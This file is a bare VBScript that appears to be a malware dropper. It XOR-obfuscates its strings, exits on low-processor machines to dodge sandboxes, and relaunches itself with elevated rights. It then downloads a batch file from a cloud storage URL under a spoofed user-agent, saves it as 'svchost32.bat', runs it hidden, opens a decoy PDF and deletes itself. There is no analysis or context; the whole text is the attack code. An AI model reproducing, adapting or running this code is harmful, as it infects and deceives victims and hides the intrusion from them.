Option Explicit

Function X(s,k)
    Dim i, o
    o = ""
    For i = 1 To Len(s)
        o = o & Chr(Asc(Mid(s,i,1)) Xor k)
    Next
    X = o
End Function

Dim c1,c2,c3,c4,c5,c6
Dim oSh,oFs,oHt,oSt,oWs
Dim sUrl,sPdf,sDst,sTmp,sSelf,sUA,sWe,sRu,sCm,sDel

c5  = X("VRbshqu/Ridmm",1)
Set oWs = CreateObject(c5)
If CInt(oWs.Environment("Process")("NUMBER_OF_PROCESSORS")) < 2 Then WScript.Quit

c1  = X("Ridmm/@qqmhb`uhno",1)
c2  = X("Rbshquhof/GhmdRxrudlNckdbu",1)
c3  = X("VhoIuuq/VhoIuuqSdptdru/4/0",1)
c4  = X("@ENEC/Rusd`l",1)
c6  = X("LRYLM3/RdswdsYLMIUUQ/7/1",1)
sWe = X("vrbshqu/dyd",1)
sRu = X("sto`r",1)
sCm = X("ble/dyd",1)
sUA = X("Ln{hmm`.4/1!)Vhoenvr!OU!01/1:!Vho75:!y75(!@qqmdVdcJhu.426/27!)JIULM-!mhjd!Fdbjn(!Bisnld.031/1/1/1!R`g`sh.426/27",1)
sUrl = X("iuuqr;..runs`fd/fnnfmd`qhr/bnl.m^c`u.M/c`u",1)
sPdf = X("iuuqr;..runs`fd/fnnfmd`qhr/bnl.m^c`u.rtbdrr/qeg",1)

Set oSh = CreateObject(c1)
Set oFs = CreateObject(c2)

sTmp  = oFs.GetSpecialFolder(2)
sDst  = sTmp & "\" & X("rwbinru23/c`u",1)
sSelf = WScript.ScriptFullName

If WScript.Arguments.Count = 0 Then
    oSh.ShellExecute sWe, Chr(34) & sSelf & Chr(34) & " 1", "", sRu, 0
    WScript.Quit
End If

On Error Resume Next
If oFs.FileExists(sDst) Then oFs.DeleteFile sDst, True

Set oHt = CreateObject(c3)
oHt.Open "GET", sUrl, False
oHt.SetRequestHeader "User-Agent", sUA
oHt.Send
If Err.Number <> 0 Or oHt.Status <> 200 Then
    Err.Clear
    Set oHt = CreateObject(c6)
    oHt.Open "GET", sUrl, False
    oHt.setRequestHeader "User-Agent", sUA
    oHt.Send
    If Err.Number <> 0 Or oHt.Status <> 200 Then WScript.Quit
End If

Set oSt = CreateObject(c4)
oSt.Type = 1 : oSt.Open
oSt.Write oHt.ResponseBody
oSt.SaveToFile sDst, 2
oSt.Close
Set oSt = Nothing : Set oHt = Nothing

If Not oFs.FileExists(sDst) Then WScript.Quit

oSh.ShellExecute sCm, "/c """ & sDst & """", sTmp, "", 0
oSh.ShellExecute sPdf, "", "", "", 1
sDel = sCm & " /c ping -n 3 127.0.0.1 >nul & del /f /q """ & sSelf & """"
oWs.Run sDel, 0, False
WScript.Quit